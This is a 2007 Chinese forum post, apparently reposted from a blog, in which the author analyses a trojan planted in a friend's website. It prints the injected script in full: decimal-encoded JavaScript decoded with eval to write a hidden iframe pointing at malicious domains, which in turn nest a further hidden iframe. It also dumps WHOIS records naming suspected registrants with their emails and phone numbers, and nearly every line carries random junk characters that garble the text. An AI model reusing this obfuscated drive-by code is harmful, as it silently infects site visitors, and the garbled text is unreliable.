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[原创]一篇刚写的分析木马手记

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所在楼道

首发在我的博客里面, U")~bU  
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http://www.areway.cn/?p=175 2)h i(  
sb Z)z#Tr  
Kjc"K36{L  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: o"R[#E&Yx  
          4K[E3aA  
<script>t=’60,105,102,114,97,109,101, hf^,  
32,115,114,99,61,104,116,116,112,58,47,47, R5NDT4QYU  
102,114,101,101,46,117,45,117,117,117,46,99, $GNN* WmHw  
110,47,101,114,114,111,114,46,104,116,109, [!,&A{.!  
32,119,105,100,116,104,61,49,48,48,32,104, iKN~fGRc  
101,105,103,104,116,61,48,62,60,47,105,102, kq8:h  
114,97,109,101,62′; EA|*|o4)  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> #Z)e]4{!l  
                                                                                                  OGh9^,v  
<script>t=’60,105,102,114,97,109,101,32,115, h^D? G2O  
114,99,61,104,116,116,112,58,47,47,102,114, a&6 3[p.<}  
101,101,46,117,45,117,117,117,46,99,110,47, w<<>XIL  
101,114,114,111,114,46,104,116,109,32,119, *?Nrx=O*  
105,100,116,104,61,49,48,48,32,104,101,105, qxf!]jm  
103,104,116,61,48,62,60,47,105,102,114,97, _d 76jmujJ  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); 4Pe%*WTX  
document.write(t);</script>  #8MA+  
                                                                                                  )."_i64  
<html xmlns=” IP7j)SM!  
http://www.w3.org/1999/xhtml X xcY  
“> I?uU }NK  
<head> aTuD|s  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> J:Ea|tXK^  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> Zy|B~.@<j  
<title>首页 - 爱生活家庭网 a\ fG)Fqp  
                                                                                                                                                    :f G5?])  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 ,7KP  
转换字符串后的大概内容是(谁点击后果自付): ,Md8A`7x~  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… &l"/G%W  
                                                                                                                                  3p6QJuSB  
查询玉米u-uuu.cn的详细信息: zsFzF`[k  
Domain Name: u-uuu.cn ?;zu>4f|  
ROID: 20070901s10001s64972306-cn ukpbx;O:hc  
Domain Status: ok NY 756B*  
Registrant Organization: 王雷 |tIr?nXSW3  
Registrant Name: 王雷 $nF|n+m  
Administrative Email: czlovexs@126.com 4l7TrCB  
Sponsoring Registrar: 北京万网志成科技有限公司 Q)c3=.[>  
Name Server:ns.yovole.com z`$jxSLm  
Name Server:ns1.yovole.com Z<L}ur  
Registration Date: 2007-09-01 17:54 p4GhT~)l:  
Expiration Date: 2008-09-01 17:54 e+6mbJ7y  
最后PING了一下地址 都没有什么…. kH~ z07:  
                                                                                                rV84?75( Y  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. fb-Lp#!T39  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> YbtsJ <w  
<script language=”javascript” src=” 1/+d@s#t  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script w\,N}'G  
> .7&V@A7  
这个玉米应该有可能是木马作者的: v e($l"T  
foafau.info的详细信息: ?lq  
Access to INFO WHOIS information is provided to assist persons in uonCD8  
determining the contents of a domain name registration record in the 7OAM  
Afilias registry database. The data in this record is provided by >RJjm&M  
Afilias Limited for informational purposes only, and Afilias does not \c}_!.xj"  
guarantee its accuracy.  This service is intended only for query-based m%m<-.'-  
access. You agree that you will use this data only for lawful purposes ,1/O2aQ%\0  
and that, under no circumstances will you use this data to: (a) allow, Em)U`"j/9  
enable, or otherwise support the transmission by e-mail, telephone, or Ln:6@Ok)5%  
facsimile of mass unsolicited, commercial advertising or solicitations oCfO:7  
to entities other than the data recipient’s own existing customers; or A,67)li3  
(b) enable high volume, automated, electronic processes that send p0*qv"lA  
queries or data to the systems of Registry Operator, a Registrar, or B@cC'F#G  
Afilias except as reasonably necessary to register domain names or }`KK  
modify existing registrations. All rights reserved. Afilias reserves fF6bEJl3  
the right to modify these terms at any time. By submitting this query, mi[t1cN)=  
you agree to abide by this policy. QN47+)cVt"  
Domain ID:D22418703-LRMS wcH,!;3z+  
Domain Name:FOAFAU.INFO .3 >"qv  
Created On:20-Nov-2007 16:05:42 UTC WC0z'N({W  
Last Updated On:20-Nov-2007 16:05:44 UTC L~oy|K67  
Expiration Date:20-Nov-2008 16:05:42 UTC SR%k|YT  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) X*cDn.(I  
Status:CLIENT DELETE PROHIBITED RW~!)^  
Status:CLIENT RENEW PROHIBITED yFoPCA86y  
Status:CLIENT TRANSFER PROHIBITED l266ufO.u-  
Status:CLIENT UPDATE PROHIBITED Ft E5H  
Status:TRANSFER PROHIBITED lfvt9!SJ+/  
Registrant ID:GODA-040110615 ~c,CngeL0  
Registrant Name:liu hong WwsH7X)  
Registrant Organization: 5(zdM)Y7  
Registrant Street1:beijing Az7 ] qb  
Registrant Street2: .;rE4B  
Registrant Street3: _'8P8 T&  
Registrant City:beijing W4;/;[/L  
Registrant State/Province: mT:NC'b<9  
Registrant Postal Code:100000 BP4xXdG  
Registrant Country:CN L4DT*(;!E  
Registrant Phone:+86.860108888777 ?(Se$iTZ  
Registrant Phone Ext.: g.Tc>?~  
Registrant FAX: J>l?HK  
Registrant FAX Ext.: Y~ xo=v(  
Registrant Email:bbbshiji@163.com 44NM of8N  
Admin ID:GODA-240110615 l-Be5?|{_  
Admin Name:liu hong 3Ccy %;  
Admin Organization: t4iD<{4  
Admin Street1:beijing M>E~eb/  
Admin Street2: lZAXDxhnT  
Admin Street3: Vwu dNjL  
Admin City:beijing 1:JwqbZKJ  
Admin State/Province: wz'=  
Admin Postal Code:100000 l`uI K.  
Admin Country:CN (xfh 9=.  
Admin Phone:+86.860108888777 5JHWt<n{P  
Admin Phone Ext.: Ptz## o'{5  
Admin FAX: PYBE?td  
Admin FAX Ext.: #c!rx%8I  
Admin Email:bbbshiji@163.com F\, vIS  
Billing ID:GODA-340110615  qJ sH  
Billing Name:liu hong +h@.P B^`~  
Billing Organization: 7Db}bDU1 |  
Billing Street1:beijing t~7OtPF  
Billing Street2: SJ91(K  
Billing Street3: zYrJ Hn#vB  
Billing City:beijing u^G Y7gah  
Billing State/Province: m]vS"AdX  
Billing Postal Code:100000 2eHVl.C5  
Billing Country:CN ue^HhZ9  
Billing Phone:+86.860108888777 [YP{%1*RM  
Billing Phone Ext.: I_5/e> 9  
Billing FAX: `Xz!apA  
Billing FAX Ext.: Lb)rloca  
Billing Email:bbbshiji@163.com xP_/5N=f  
Tech ID:GODA-140110615 _RzF h  
Tech Name:liu hong )Gavjj&uJ  
Tech Organization: x3g4r_  
Tech Street1:beijing ~o#mX?'7  
Tech Street2: GGnlkp& E  
Tech Street3: n$N$OFuO  
Tech City:beijing a2Nxpxho  
Tech State/Province: O/|))H?C  
Tech Postal Code:100000 T60pw  
Tech Country:CN &8w# 4*W  
Tech Phone:+86.860108888777 x!fG%o~h  
Tech Phone Ext.: d!w3LwZ  
Tech FAX: lP*n%Pn)  
Tech FAX Ext.: WQ 2{`'z  
Tech Email:bbbshiji@163.com (BFwE@1"  
Name Server:NS27.DOMAINCONTROL.COM O!%T<2i3  
Name Server:NS28.DOMAINCONTROL.COM }% f7O  
Name Server: hf]m'5pb  
Name Server: ,cL;,YN  
Name Server: ]iGeqwT  
Name Server: WPkKbF  
Name Server: Pw| h`[h  
Name Server: F@k}p-e~  
Name Server: $&&E[JY  
Name Server: ^ZO! (  
Name Server: oz>2P.7  
Name Server: W^H3=hZ  
Name Server: (De{r|  
                                                                                                          HO['o{>BL  
接着下载每个文件里面的代码: I-Z|FKh_C  
一步一步看.. `:Gzjngc  
oWL_Hh%-f`  
2?GMKd)  
njf\fw_  
u*v<dsGQ  
Go)g}#.&  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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简单生活
执著追求
别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
级别: 店掌柜
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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